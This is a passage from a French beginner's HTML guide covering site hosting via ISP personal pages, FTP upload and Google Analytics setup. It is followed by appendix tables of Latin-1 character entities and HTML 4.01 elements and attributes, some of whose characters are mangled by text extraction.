serveurs hébergeant son intranet et son site Web externe), pour une
entreprise passant par l’intermédiaire d’un fournisseur d’accès Internet
(FAI) spécialisé et pour un individu ou une PME pouvant se contenter
des services d’un FAI grand public. C’est à ce dernier cas que nous nous
intéressons particulièrement.

Peut-être l’ignorez-vous, mais si vous disposez d’un accès Internet, vous

possédez probablement un hébergeur. La quasi-totalité des FAI mettent
gracieusement à votre disposition un espace de stockage capable
d’héberger vos pages personnelles. La place offerte se compte désormais
en centaines de mégaoctets, un chiffre excédant en principe largement
les besoins d’un site personnel ou SOHO (Small Home, Home Office).
Orange propose par exemple 100 Mo d’espace pour le stockage de vos
pages personnelles, Free montant jusqu’à 10 Go !

Figure 11.29 : Gestion des pages personnelles de Free

Figure 11.30 : Offre standard Orange

LE GUIDE COMPLET 473

 Chapitre 11 Publication sur le Web

Certains FAI proposent, comme Orange, un hébergement amélioré pour

un montant relativement modeste.

Figure 11.31 : Hébergement amélioré d’ Orange

Vous devrez dans la plupart des cas activer vos pages personnelles
(votre compte de pages personnelles) auprès de votre FAI. Suivez pour
cela les instructions fournies par celui-ci dans sa documentation ou sur
son site.

Vous devez ensuite disposer d’un moyen de transférer vos fichiers du

répertoire de construction, situé sur votre disque dur, jusqu’au répertoire
de destination, situé à une adresse fournie par votre FAI (souvent
quelque chose comme [Link]-ftp, [Link] ou
[Link]). Cela s’effectue à l’aide d’un
protocole nommé FTP (File Transfer Protocole), si bien que les logiciels
capables d’accomplir ce travail portent le nom de « logiciels FTP ».

Certains éditeurs HTML proposent des fonctions FTP intégrées pour le

transfert et l’administration de votre site Web. Si ce n’est pas le cas de
votre éditeur favori, il vous reste, selon les FAI, deux solutions :
j WebFTP : cette méthode relativement récente proposée par
certains FAI (dont Neuf-Telecom) est similaire au WebMail, ce
système qui vous permet de consulter vos courriers sans logiciel
de messagerie dédié, depuis n’importe quel navigateur.
Généralement très intuitive, c’est une méthode élégante.

474 LE GUIDE COMPLET

 Publication sur le Web Chapitre 11

j Logiciels FTP indépendants : il en existe un grand nombre,

certains gratuits, certains sous forme de partagiciels (shareware),
d’autres enfin étant commerciaux. Votre FAI propose
généralement dans sa boîte à outil un tel produit (Cuteftp pour
Orange, LeechFtp sous Windows ou Fetch sous MacOS proposés
sur le kit de connexion de Free, mais il en existe bien d’autres,
comme vous le montrera une simple recherche Google). Citons
notament Filezilla, de la grande famille des logiciels libres
gratuits ([Link]).

Figure 11.32 : Une recherche Google avec comme mots-clés

« logiciel FTP »+ « gratuit » procure plus de 6 600 réponses

Si vous avez choisi de télécharger et d’installer un logiciel FTP, vous

devez le configurer. Pour ce faire, vous devez toujours lui indiquer :
j L’adresse du serveur FTP. C’est généralement quelque chose
comme [Link]
j Votre identifiant et votre mot de passe de messagerie.
j L’emplacement de vos pages sur votre disque dur (le site local).

Ces informations vous sont fournies par votre FAI.

Selon le logiciel, d’autres informations peuvent vous être demandées :

j Le type d’hôte. Cette information vous est fournie par votre FAI.
C’est souvent UNIX (standard).
j Un nom pour la connexion. Pratique si ce logiciel doit servir à
vous connecter à plusieurs serveurs STP.

LE GUIDE COMPLET 475

 Chapitre 11 Publication sur le Web

j L’adresse de votre site. C’est souvent quelque chose comme

[Link] ou [Link]
.[Link].

Les copies d’écran qui suivent montrent les informations demandées par
WS_FTP95 LE, mon logiciel FTP favori (bien qu’ancien).

Figure 11.33 :
Informations de connexion
demandées par WS_FTP95 LE

Figure 11.34 :
Informations de connexion
demandées par WS_FTP95 LE

Vous voyez en principe, dans la fenêtre du logiciel, deux volets. Le volet

de gauche présente les fichiers situés dans le dossier spécifié lors de la
configuration du logiciel. Si ce n’est pas le bon dossier, vous pouvez
naviguer sur votre ordinateur jusqu’à afficher le dossier contenant les
fichiers de votre site.

Établissez la connexion si elle ne l’est pas déjà (la méthode peut différer
selon le logiciel). Le cadre de droite affiche les fichiers et dossiers
actuellement situés sur le serveur distant : ceux effectivement consultés
par des visiteurs.

476 LE GUIDE COMPLET

 Publication sur le Web Chapitre 11

Figure 11.35 : Fenêtre de WS_FTP95 LE, affichant les dossiers de MonSite

et ceux situés sur le serveur distant.

Pour transférer des fichiers, sélectionnez-les dans le volet de gauche et

lancez le transfert, par exemple en cliquant sur un bouton.

Figure 11.36 : Sélection et transfert de fichiers

Un message d’état du transfert des fichiers est généralement affiché.

Patientez quelques instants et allez visiter votre site, en lançant votre

navigateur et en saisissant l’adresse de votre site.

Ce même logiciel permet de gérer votre site à distance. Vous pouvez à

tout moment ajouter de nouveaux fichiers ou en supprimer. Pour
supprimer un fichier distant, sélectionnez-le simplement dans le cadre de
droite et cliquez sur Supprimer ou Delete.

LE GUIDE COMPLET 477

 Chapitre 11 Publication sur le Web

11.6. Suivi de la fréquentation

de votre site
Une fois votre site en ligne, vous souhaiterez probablement en suivre la
fréquentation d’une façon ou d’une autre. De nombreux FAI proposent
de tels outils, parfois gratuitement, parfois moyennant finances. Leur
emploi est parfois simple, parfois complexe. Et tout changement de FAI
impose d’étudier un nouveau système…

Une solution alternative consiste à recourir à Google Analytics, un outil

gratuit d’une rare puissance. Voici comment en profiter :
1 Servez-vous de votre compte Google pour ouvrir un compte
Google Analytics, à partir de la page [Link]
/fr-FR/.

Figure 11.37 : Page d’accueil de Google Analytics.

2 Dans la zone de texte S’inscrire à Google Analytics, cliquez sur

Inscription.

478 LE GUIDE COMPLET

 Suivi de la fréquentation de votre site Chapitre 11

3 Entrez l’URL du site Web que vous souhaitez suivre, puis

nommez votre compte. C’est ce nom qui figurera dans vos
rapports Google Analytics. Vous pourrez, si vous le souhaitez,
ajouter d’autres sites après la configuration de votre compte.
4 Renseignez vos nom, prénom, numéro de téléphone et pays.
5 Acceptez le contrat utilisateur et cliquez sur Créer un compte. Cela
affiche la page Instructions de suivi. Cette page possède une zone
de texte qui contient un fragment de code. Dans celui-ci,
UA−xxxxxxx−x est l’identifiant unique associé à votre compte:
<script src="[Link]
type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-xxxxxxx-x";
urchinTracker();
</script>

Ce fragment de code charge la bibliothèque [Link] dans l’agent

utilisateur client, définit l’identifiant unique (_uacct), puis appelle
urchinTracker() pour renvoyer les données à Google Analytics.

Vous devez copier ce fragment de code dans chaque page Web que vous
voulez suivre. Vous le faites en principe juste avant la balise de
fermeture </BODY>, mais vous pouvez également le placer dans
l’élément HEAD, surtout si votre page est riche en code JavaScript et que
vous constatez quelques problèmes.

L’activation de Google Anaytics n’est pas immmédiate

L’arrivée des premières données dans vos rapports peut demander près
de 24 heures après l’ouverture d’un compte et la saisie, puis la
publication du code de suivi adéquat. Soyez patient…

Vous pouvez examiner les états associés à votre gadget en ouvrant une
session dans Google Analytics et en choisissant Afficher les rapports.

La page qui s’affiche alors est le Tableau de bord (voir Figure 11.38).

Il présente six volets principaux.

En haut, un graphique de l’évolution des visites quotidiennes ;

LE GUIDE COMPLET 479

 Chapitre 11 Publication sur le Web

Figure 11.38 : Tableau de bord Google Analytics.

En dessous, différentes données sur la Fréquentation du site

(nombre de visites sur la période, pages vues, pages par visites,
rapport nouveaux/anciens visiteurs etc.) ;
Vient ensuite une Vue d’ensemble des visiteurs, très similaire au
premier graphique si ce n’est qu’il concerne les visiteurs et non
les visites, et une Synthèse géographique : une carte du monde
où l’intensité de la couleur est proportionnelle au nombre de
visiteurs de même d’origine géographique.
Le dernier groupe présente une Vue d’ensemble des sources de
trafic (un camembert qui montre par quel moyen les visiteurs sont
parvenus à votre site) et une Vue d’ensemble du contenu (les
pages les plus vues).

Vous pouvez également éventuellement voir un graphique de Vue

d’ensemble des objectifs, si vous avez défini un objectif dans les
paramètres d’analyse.

Il suffit de cliquer sur le lien Afficher le rapport d’un des volets ou sur un
élément pour afficher ses détails. L’accès est également possible à partir
du menu de gauche. Il est impossible de tout détailler : cela nécessiterait
un ouvrage entier !

Intéressons-nous plutôt à l’élément Visiteurs : cliquez à gauche sur

Visiteurs ou sur Afficher le rapport du volet Vue d’ensemble des visiteurs.
Cela affiche une nouvelle page qui fourmille d’informations

480 LE GUIDE COMPLET

 Suivi de la fréquentation de votre site Chapitre 11

intéressantes (Segmentation des visiteurs, Profil des visiteurs dont langue(s),

Fournisseurs d’accès et Valeurs personnalisées, Type de navigateur
[navigateurs, systèmes d’exploitation, navigateur et systèmes
d’exploitation, couleurs d’écran, résolutions d’écran, types de prise en
charge de Java, Flash] et Synthèse géographique)

Figure 11.39 : Page Vue d’ensemble des visiteurs

Cliquons dans le volet Navigateurs de la section Profil technique sur

Afficher le rapport complet. Cela peut permettre de vérifier certains
postulats émis précédemment. Je précise toutefois que cela ne s’applique
qu’à mon site, dont les 5833 visiteurs constatés sur environ 1 an ne
constituent pas forcément un échantillon représentatif du Web. En
revanche, c’est sans aucun doute "mon" public.

Figure 11.40 :
Navigateurs

Mes visiteurs possèdent dans 68,8 % des cas Internet Explorer, et

Firefox dans 24,4 % des cas. Vous pouvez cliquer sur le nom d’un
navigateur pour voir des détails sur ses versions : ainsi, Internet
Explorer 6 était encore employé dans 50,7 % des cas, soit par environ
35 % de mes visiteurs. Il n’existe quasiment plus de versions antérieures

LE GUIDE COMPLET 481

 Chapitre 11 Publication sur le Web

(0,5 %). En revanche, les utilisateurs de Firefox semblent plus enclins à

rester à jour, car 97 % d’entre eux possèdent au moins la version [Link].

Cliquons ensuite dans le menu de gauche sur Systèmes d’exploitation.

Figure 11.41 :
Versions de la
plate-forme.

Leur système d’exploitation est Windows dans 92 % des cas. Il devient

intéressant de regarder la combinaison navigateur/plate-forme en
cliquant dans le menu de gauche sur Navigateurs et systèmes
d’exploitation pour disposer d’une idée plus précise de leurs
caractéristiques.

Figure 11.42 :
Combinaisons
Navigateur et
Plate-forme.

Internet Explorer sur Windows 68,7 % de mes visiteurs, suivi de Firefox

sur Windows (23 %). Safari sur Macintosh atteint les 5 %, suivi de
Firefox toujours sur Macintosh (1 %). Les autres combinaisons restent
anecdotiques, ne totalisant que 3 % des visiteurs.

Figure 11.43 :
Résolutions d’écran.

482 LE GUIDE COMPLET

 Résumé Chapitre 11

Seuls (mais encore) 4,4 % des visiteurs possèdent une résolution de

800 x 600 pixels. 43,7 % disposent d’une résolution de 1024 x 768, les
autres possédant une résolution supérieure. Si je dois donc toujours
prévoir une résolution minimale de 800 x 600, les choses risquent
d’évoluer rapidement…

Ces informations sont précieuses : elles confirment que je ne puis me

dispenser de tester mes pages à l’aide au moins d’Internet Explorer 6 et
7 et de Firefox 2.

Google Analytics apparaît donc comme un outil précieux, presque

indispensable. Ne vous en privez pas !

11.7. Résumé
j Dès le début de la phase de conception de votre site, vous devez
garder à l’esprit les caractéristiques de la cible visée et, pour ce
faire, identifier votre public :
Les enfants préfèrent des images claires et colorées et sont
souvent capables de comprendre le but d’une icône sans avoir
à lire le texte.
Les personnes âgées peuvent souffrir de déficits visuels et
éprouver des difficultés à employer le clavier ou la souris.
Un public d’amateurs de jeux vidéo apprécie particulièrement
les images et les vidéos.
j Les cadres rendent la navigation difficile sans souris et ne sont pas
reconnus par les navigateurs textuels.
j Les images posent rarement de problèmes si vous avez pensé à
placer un attribut alt dans l’élément IMG pour permettre aux
utilisateurs ayant désactivé les images d’en obtenir une
description.
j Les tableaux sont assez mal reconnus par les navigateurs textuels.
Servez-vous toujours du nouvel attribut summary pour procurer
une alternative texte au tableau. Pour une cellule de données
particulière, l’attribut headers répertorie les cellules qui
fournissent des indications de rubrique pertinentes. Pour une
cellule de rubrique donnée, l’attribut scope indique à l’agent
utilisateur les cellules concernées par ces indications de rubrique.
Enfin, l’attribut abbr spécifie un nom de rubrique abrégé pour les

LE GUIDE COMPLET 483

 Chapitre 11 Publication sur le Web

cellules de rubrique, afin que les agents utilisateurs puissent

restituer plus rapidement les indications de rubrique.
j Les jeux d’encadrement font également partie des structures
délicates à interpréter par les agents utilisateurs non visuels. La
seule solution consiste à employer un élément NOFRAME et à
fournir un lien alternatif vers une version dépourvue de cadres.
j Les modules complémentaires (ou plug-in) sont de petits
programmes qui permettent d’afficher dans le navigateur des
types de contenu normalement non affichables. Les plus célèbres
sont Adobe Acrobat Reader, Shockwave, JVM (Java Virtual
Machine), QuickTime et RealAudio. Ces types de contenu sont
insérés dans une page Web à l’aide de l’élément OBJET.
j L’ensemble de caractères Unicode désormais adopté par HTML
dispose de plus de 25 000 caractères différents et est capable de
représenter les langues du monde entier.
j Vous spécifiez la langue d’un élément HTML à l’aide de son
attribut lang. Celui-ci reçoit comme valeur un code qui identifie
une langue parlée, écrite, ou utilisée d’une manière ou d’une autre
pour la communication d’informations entre personnes.
j L’attribut dir spécifie la direction de base d’un texte dépourvu de
directionnalité inhérente telle que définie dans la norme Unicode,
ainsi que la directionnalité des tableaux. Il ne semble toutefois pas
être très reconnu par les navigateurs actuels.
j Il est possible de désactiver l’algorithme bidirectionnel Unicode
et de spécifier une directionnalité à l’aide de l’élément BDO
(BiDirectional Override). Cet élément possède un attribut obligatoire
dir, identique au précédent, mais qui prévaut sur la
directionnalité inhérente des caractères telle que définie dans
Unicode.
j Si vous réalisez une page dans une langue autre qu’européenne,
vous devez modifier le jeu de caractères du document à l’aide de
l’attribut charset d’un élément META. De nombreux navigateurs
permettent d’imposer le choix du type d’encodage de la page.
j Il faut toujours tester un site Web avec autant de navigateurs que
possible, et au minimum sous Internet Explorer 5.0 et 6.0 et sous
Firefox.
j Vous devez également effectuer un test avec ces navigateurs en
désactivant l’affichage des images.

484 LE GUIDE COMPLET

 Résumé Chapitre 11

j Vous pouvez trouver sur le Net des sites de test, comme

[Link]. Vous pouvez y effectuer un test en spécifiant un
niveau de compatibilité avec les spécifications HTML et même
tester un affichage WebTV.
j Vous devez fournir aux utilisateurs un moyen d’entrer en contact
avec vous et les encourager à vous faire part de leurs remarques.
j Pour placer effectivement votre site sur le Web, vous avez besoin
d’un hébergeur et d’un outil capable de transférer les fichiers qui
composent votre site sur le serveur de cet hébergeur. La quasi-
totalité des FAI mettent gracieusement à votre disposition un
espace de stockage capable d’héberger vos pages personnelles.
j Le transfert de vos fichiers du répertoire de construction jusqu’au
répertoire de destination, situé chez l’hébergeur, s’effectue à
l’aide d’un protocole nommé FTP (File Transfer Protocole). Les
logiciels capables d’accomplir ce travail portent le nom de
« logiciels FTP ». Il existe de nombreux logiciels FTP gratuits,
chaque FAI disposant de ses propres préférences.
j Google Analytics est un outil précieux qui permet de suivre avec
une grande précision la fréquentation de son site Web..

LE GUIDE COMPLET 485

 Annexes

Jeu des entités de caractères Latin-1 .......................................................................... 488

Éléments et attributs HTML 4.01 ................................................................................... 491
Compatibilité XHTML/HTML ........................................................................................... 513
DTD et XML ......................................................................................................................... 523
Sélecteurs CSS .................................................................................................................. 530
Ressources Web ................................................................................................................ 533
 Chapitre 12 Annexes

12.1. Jeu des entités de caractères

Latin-1
Tableau 12.1 : Jeu des entités de caractères Latin-1

Caractère Nom de l’entité Codage Codage

décimal hexadécimal

espace &nbsp; &#160; &#xa0;

insécable

¡ &iexcl; &#161; &#xa1;

¢ &cent; &#162; &#xa2;
£ &pound; &#163; &#xa3;
¤ (symbole &curren; &#164; &#xa4;
monétaire)

¥ &yen; &#165; &#xa5;

¡ &brvbar; &#166; &#xa6;
§ &sect; &#167; &#xa7;
- &uml; &#168; &#xa8;
R &copy; &#169; &#xa9;
ª &ordf; &#170; &#xaa;
« &laquo; &#171; &#xab;
(signe &not; &#172; &#xac;
négation)

- (trait &shy; &#173; &#xad;

d’union
virtuel)

T &reg; &#174; &#xae;

_
(macron) &macr; &#175; &#xaf;
° &deg; &#176; &#xb0;
± &plusmn; &#177; &#xb1;
2
&sup2; &#178; &#xb2;
` &sup3; &#179; &#xb3;
≠ &acute; &#180; &#xb4;

488 LE GUIDE COMPLET

 Jeu des entités de caractères Latin-1 Chapitre 12

Tableau 12.1 : Jeu des entités de caractères Latin-1

Caractère Nom de l’entité Codage Codage

décimal hexadécimal

µ &micro; &#181; &#xb5;

¶·(pied de &para; &#182; &#xb6;
mouche)

· &middot; &#183; &#xb7;

¸ &cedil; &#184; &#xb8;
^ &sup1; &#185; &#xb9;
º &ordm; &#186; &#xba;
» &raquo; &#187; &#xbb;
¼ &frac14; &#188; &#xbc;
½ &frac12; &#189; &#xbd;
¾ &frac34; &#190; &#xbe;
¿ &iquest; &#191; &#xbf;
À &Agrave; &#192; &#xc0;
Á &Aacute; &#193; &#xc1;
 &Acirc; &#194; &#xc2;
à &Atilde; &#195; &#xc3;
Ä &Auml; &#196; &#xc4;
Å &Aring; &#197; &#xc5;
Æ &AElig; &#198; &#xc6;
Ç &Ccedil; &#199; &#xc7;
È &Egrave; &#200; &#xc8;
É &Eacute; &#201; &#xc9;
Ê &Ecirc; &#202; &#xca;
Ë &Euml; &#203; &#xcb;
Ì &Igrave; &#204; &#xcc;
Í &Iacute; &#205; &#xcd;
Î &Icirc; &#206; &#xce;

LE GUIDE COMPLET 489

 Chapitre 12 Annexes

Tableau 12.1 : Jeu des entités de caractères Latin-1

Caractère Nom de l’entité Codage Codage

décimal hexadécimal

Ï &Iuml; &#207; &#xcf;

Ð &ETH; &#208; &#xd0;
Ñ &Ntilde; &#209; &#xd1;
Ò &Ograve; &#210; &#xd2;
Ó &Oacute; &#211; &#xd3;
Ô &Ocirc; &#212; &#xd4;
Õ &Otilde; &#213; &#xd5;
Ö &Ouml; &#214; &#xd6;
× &times; &#215; &#xd7;
Ø &Oslash; &#216; &#xd8;
Ù &Ugrave; &#217; &#xd9;
Ú &Uacute; &#218; &#xda;
Û &Ucirc; &#219; &#xdb;
Ü &Uuml; &#220; &#xdc;
Ý &Yacute; &#221; &#xdd;
Þ &THORN ; &#222; &#xde;
ß &szlig ; &#223; &#xdf;
à &agrave; &#224; &#xe0;
á &aacute; &#225; &#xe1;
â &acirc; &#226; &#xe2;
ã &atilde; &#227; &#xe3;
ä &auml; &#228; &#xe4;
å &aring; &#229; &#xe5;
æ &aelig; &#230; &#xe6;
ç &ccedil; &#231; &#xe7;
è &egrave; &#232; &#xe8;
é &eacute; &#233; &#xe9;

490 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

Tableau 12.1 : Jeu des entités de caractères Latin-1

Caractère Nom de l’entité Codage Codage

décimal hexadécimal

ê &ecirc ; &#234; &#xea;

ë &euml; &#235; &#xeb;
ì &igrave; &#236; &#xec;
í &iacute; &#237; &#xed;
î &icirc; &#238; &#xee;
ï &iuml; &#239; &#xef;
⭸ &eth; &#240; &#xf0;
ñ &ntilde; &#241; &#xf1;
ò &ograve; &#242; &#xf2;
ó &oacute; &#243; &#xf3;
ô &ocirc ; &#244; &#xf4;
õ &otilde; &#245; &#xf5;
ö &ouml; &#246; &#xf6;
÷ &divide; &#247; &#xf7;
ø &oslash; &#248; &#xf8;
ù &ugrave; &#249; &#xf9;
ú &uacute; &#250; &#xfa;
û &ucirc; &#251; &#xfb4;
ü &uuml; &#252; &#xfc;
ý &yacute; &#253; &#xfd;
þ &thorn; &#254; &#xfe;
ÿ &yuml; &#255; &#xff;

12.2. Éléments et attributs HTML 4.01

Vous trouverez ici la totalité des éléments et attributs proposés par la
spécification HTML 4.01, classés par ordre alphabétique.

LE GUIDE COMPLET 491

 Chapitre 12 Annexes

Éléments HTML 4.01

A : ancre
accesskey : touche d’accès rapide. %Character;
charset : jeu de caractères de la ressource liée. %Charset;
coords : employé avec les cartes côté client. %Coords;
href : URI de la ressource liée. %URI;
hreflang : code de la langue. %LanguageCode;
name : fin de lien nommé. CDATA
onblur : l’élément a perdu le focus. %Script;
onfocus : l’élément a obtenu le focus. %Script;
rel : types de liens avant. %LinkTypes;
rev : types de liens arrière. %LinkTypes;
shape : employé avec les cartes côté client. %Shape;
tabindex : position dans l’ordre de tabulation. NUMBER
target : afficher dans ce cadre (DTD Frameset). %FrameTarget;
type : type de contenu. %ContentType;

ABBR : abréviation (www, HTTP, etc.)

ACRONYM : acronyme

ADDRESS : informations sur l’auteur

APPLET : applet Java (déconseillé, DTD Transitoire)

align : alignement vertical ou horizontal (déconseillé). %IAlign;
alt : description brève (déconseillé). %Text;
archive : liste d’archives, séparées par des virgules (déconseillé).
CDATA
code : fichier de classes de l’applet (déconseillé). CDATA
codebase : URI facultatif de base pour l’applet (déconseillé). %URI;
height : hauteur initiale (déconseillé). %Length;
hspace : intervalle horizontal (déconseillé). %Pixels;
name : permet aux applets de se retrouver mutuellement (déconseillé).
CDATA
object : fichier d’applet sérialisé (déconseillé). CDATA
vspace : intervalle vertical (déconseillé). %Pixels;
width : largeur initiale (déconseillé). %Length;

AREA : image cliquable côté client

accesskey : touche d’accès rapide. %Character;
alt : description brève. %Text;
coords : liste de longueurs séparées par des virgules. %Coords;

492 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

href : URI de la ressource liée. %URI;

nohref : cette région est sans action. (nohref)
onblur : l’élément a perdu le focus. %Script;
onfocus : l’élément a obtenu le focus. %Script;
shape : contrôle l’interprétation des coordonnées. %Shape;
tabindex : place dans l’ordre de tabulation. NUMBER
target : afficher dans ce cadre (DTD Frameset). %FrameTarget;

B : texte en style gras

BASE : URI de base du document

href : URI se comportant comme URI de base. %URI;
target : afficher dans ce cadre (DTD Frameset). %FrameTarget;

BASEFONT : taille de la police de base (déconseillé, DTD transitoire)

color : couleur du texte (déconseillé). %Color;
face : liste de noms de police, séparés par des virgules (déconseillé).
CDATA
size : obligatoire. Taille de police de base des éléments FONT
(déconseillé). CDATA

BDO : inactivation de l’algorithme I18N BiDi

dir : direction (obligatoire). (ltr | rtl)

BIG : texte agrandi

BLOCKQUOTE : citation longue

cite : URI du document source ou message. %URI;

BODY : corps du document

alink : couleur des liens sélectionnées (déconseillé). %Color;
background : image d’arrière-plan du document (déconseillé). %URI;
bgcolor : couleur d’arrière-plan du document (déconseillé). %Color;
link : couleur des liens (déconseillé). %Color;
onload : le document a été chargé. %Script;
onunload : le document a été supprimé. %Script;
text : couleur du texte du document (déconseillé). %Color;
vlink : couleur des liens visités (déconseillé). %Color;

BR : saut de ligne
clear : contrôle du flux de texte (déconseillé). (left | all |
right | none)

LE GUIDE COMPLET 493

 Chapitre 12 Annexes

BUTTON : bouton
accesskey : touche d’accès rapide. %Character;
disabled : non disponible dans ce contexte. (disabled)
name : nom. CDATA
onblur : l’élément a perdu le focus. %Script;
onfocus : l’élément a obtenu le focus. %Script;
tabindex : position dans l’ordre de tabulation. NUMBER
type : employé comme bouton de formulaire.(button | submit |
reset)
value : valeur envoyée au serveur lors de la soumission du formulaire.
CDATA

CAPTION : légende de tableau

align : alignement relatif du tableau (déconseillé). %CAlign;

CENTER : raccourci pour DIV align="center" (déconseillé, DTD

transitoire)

CITE : citation

CODE : fragment de code informatique

COL : colonne de tableau

align : alignement (déconseillé). (left | center | right |
justify | char)
char : caractère d’alignement, par exemple char=’:’.%Character;
charoff : décalage du caractère d’alignement. %Length;
span : les attributs de COL affectent n colonnes. n (nombre)
valign : alignement vertical dans les cellules. (top | middle |
bottom | baseline)
width : spécification de la largeur des colonnes. %MultiLength;

COLGROUP : groupe de colonnes de tableau

align : alignement (déconseillé). (left | center | right |
justify | char)
char : caractère d’alignement, par exemple char=’:’. %Character;
charoff : décalage du caractère d’alignement. %Length;
span : nombre de colonnes par défaut dans un groupe. NUMBER
width : largeur par défaut des COL concernées (imbriquées).
%MultiLength;
valign : alignement vertical dans les cellules. (top | middle |
bottom | baseline)

494 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

DD : description de définition

DEL : texte supprimé

cite : information sur le motif de la modification.
datetime : date et heure de modification. %Datetime;

DFN : définition d’instance

DIR : liste de répertoire (déconseillé, DTD transitoire)

compact : réduction de l’espace entre éléments (déconseillé).
(compact)

DIV : conteneur de langue/style générique

align : alignement du texte (déconseillé). (left | center | right
| justify)

DL : liste de définitions
compact : réduction de l’espace entre éléments (déconseillé).
(compact)

DT : terme de définition

EM : emphase

FIELDSET : groupe de contrôles de formulaire

FONT : modification(s) locale(s) d’une police (déconseillé, DTD

transitoire)
color : couleur du texte (déconseillé). %Color;
face : liste de noms de police, séparés par une virgule (déconseillé).
CDATA
size : par exemple size="+1", size="4" (déconseillé). [+|−]nn,

FORM : formulaire interactif

accept−charset : liste des jeux de caractères pris en charge.
%Charsets;
accept : liste des types MIME pour le téléchargement de fichiers.
%ContentTypes;
action : mode de gestion des formulaires côté serveur (obligatoire).
%URI;
enctype : type d’encodage. %ContentType;
method : méthode HTTP employée pour soumettre le formulaire. (GET
| POST)

LE GUIDE COMPLET 495

 Chapitre 12 Annexes

name : nom du formulaire (employé dans des scripts). CDATA

onreset : le formulaire a été réinitialisé. %Script;
onsubmit : le formulaire a été soumis. %Script;
target : afficher dans ce cadre . %FrameTarget;

FRAME : sous-cadre (fenêtre secondaire) (DTD Frameset)

longdesc : lien vers une description longue, complétant le titre. %URI;
marginheight : marge haute en pixels. %Pixels;
marginwidth : marge basse en pixels. %Pixels;
noresize : l’utilisateur peut-il modifier la taille des cadres ?
(noresize)
frameborder : présence ou absence de bordure pour le cadre. 1 | 0)
name : nom du cadre pour pouvoir le cibler. CDATA
scrolling : présence ou absence des barres de défilement du cadre.
(yes | no | auto)
src : source du contenu du cadre. %URI;

FRAMESET : subdivision de fenêtre (DTD Frameset)

cols : liste de longueurs, par défaut 100 % (1 colonne) (DTD
Frameset). %MultiLengths;
onload : tous les cadres ont été chargés (DTD Frameset). %Script;
onunload : tous les cadres ont été supprimés (DTD Frameset).
%Script;
rows : liste de longueurs, par défaut 100 % (1 ligne) (DTD Frameset).
%MultiLengths;

Hn : titre de niveau n (n compris entre 1 et 6)

align : alignement du texte (déconseillé). (left | center | right | justify)

HEAD : en-tête de document

profile : dictionnaire nommé de méta-informations. %URI;

HR : ligne horizontale
align : alignement du texte (déconseillé). (left | center |
right)
noshade : ombrage (déconseillé). (noshade)
size : taille en pixels (déconseillé). %Pixels;
width : largeur (déconseillé). %Length;

HTML : élément racine du document

version : constante (déconseillé). %HTML Version;

I : texte de style italique

496 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

IFRAME : sous-fenêtre en ligne (DTD Transitoire)

align : alignement vertical ou horizontal (déconseillé). %IAlign;
height : hauteur du cadre. %Length;
longdesc : lien vers une description longue, complétant le titre.
%URI;
marginheight : hauteur des marges en pixels. %Pixels;
marginwidth : largeur des marges en pixels. %Pixels;
width : largeur du cadre. %Length;
frameborder : présence ou absence de bordure de cadre. (1 | 0)
name : nom du cadre pour pouvoir le cibler. CDATA
scrolling : présence ou absence des barres de défilement du cadre.
(yes | no | auto)
src : source du contenu du cadre. %URI;

IMG : image incorporée

align : alignement vertical ou horizontal (déconseillé). %IAlign;
alt : description brève (recommandé). %Text;
border : largeur de la bordure du lien (déconseillé). %Pixels;
ismap : emploi de carte image côté serveur. (ismap)
height : hauteur d’outrepassement. %Length;
hspace : décalage horizontal (déconseillé). %Pixels;
longdesc : lien vers une description longue (complétant alt).
name : nom de l’image (pour un script). CDATA
src : URI de l’image à incorporer (obligatoire). %URI;
usemap : emploi de carte image côté client. %URI;
vspace : décalage vertical (déconseillé). %Pixels;
width : largeur d’outrepassement. %Length;

INPUT : contrôle de formulaire (saisie)

accept : liste des types MIME pour le téléchargement de fichiers.
%ContentTypes;
accesskey : touche d’accès rapide. %Character;
align : alignement vertical ou horizontal (déconseillé). %IAlign;
alt : description brève.
checked : pour les boutons d’option et les cases à cocher. (checked)
disabled : indisponible dans ce contexte. (disabled)
ismap : emploi de carte image côté serveur. (ismap)
maxlength : nombre maximum de caractères d’un champ texte.
NUMBER
name : soumission comme partie d’un formulaire. CDATA
onblur : l’élément a perdu le focus. %Script;
onchange : la valeur de l’élément a été modifiée. %Script;
onfocus : l’élément a obtenu le focus. %Script;

LE GUIDE COMPLET 497

 Chapitre 12 Annexes

onselect : du texte a été sélectionné. %Script;

readonly : pour du texte et un mot de passe. (readonly)
size : spécifique à chaque type de champ. CDATA
src : pour les champs à image. %URI;
tabindex : position dans l’ordre de tabulation. NUMBER
type : le type de widget nécessaire. %InputType;
usemap : emploi d’une carte image côté client. %URI;
value : spécifique aux boutons d’option et cases à cocher. CDATA

INS : texte inséré

cite : information sur le motif de la modification. %URI;
datetime : date et heure de la modification. %Datetime;

ISINDEX : invite à ligne unique (déconseillé, DTD transitoire)

prompt : message d’invite (déconseillé). %Text;

KBD : texte devant être saisi par l’utilisateur

LABEL : libellé d’un champ de formulaire

accesskey : touche d’accès rapide. %Character;
for : correspond à la valeur d’ID d’un champ.
onblur : l’élément a perdu le focus. %Script;
onfocus : l’élément a obtenu le focus. %Script;

LEGEND : légende d’un ensemble de champs

accesskey : touche d’accès rapide. %Character;
align : alignement relatif d’un ensemble de champs (déconseillé).
%LAlign;

LI : élément de liste
type : style d’un élément de liste (déconseillé). %LIStyle;
value : réinitialisation du numéro de séquence (déconseillé). NUMBER

LINK : lien indépendant du média

charset : jeu de caractères de la ressource liée. %Charset;
href : URI de la ressource liée. %URI;
media : pour l’affichage sur un média précis. %MediaDesc;
target : afficher dans ce cadre (DTD Frameset). %FrameTarget;
hreflang : code de langue. %LanguageCode;
rel : type de lien avant. %LinkTypes;
rev : type de lien arrière. %LinkTypes;
type : type de contenu indicatif. %ContentType;

498 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

MAP : image cliquable côté client

name : servant de référence à usemap (obligatoire). CDATA

MENU : liste de menu (déconseillé, DTD transitoire)

compact : espace entre éléments réduit (déconseillé). (compact)

META : méta-information générique

content : information associée (obligatoire). CDATA
http−equiv : nom de l’en-tête de réponse HTTP. NAME
name : nom de la méta-information. NAME
scheme : sélection d’une forme de contenu. CDATA

NOFRAMES : conteneur de contenu alternatif pour un affichage non

fondé sur des cadres (DTD Frameset)

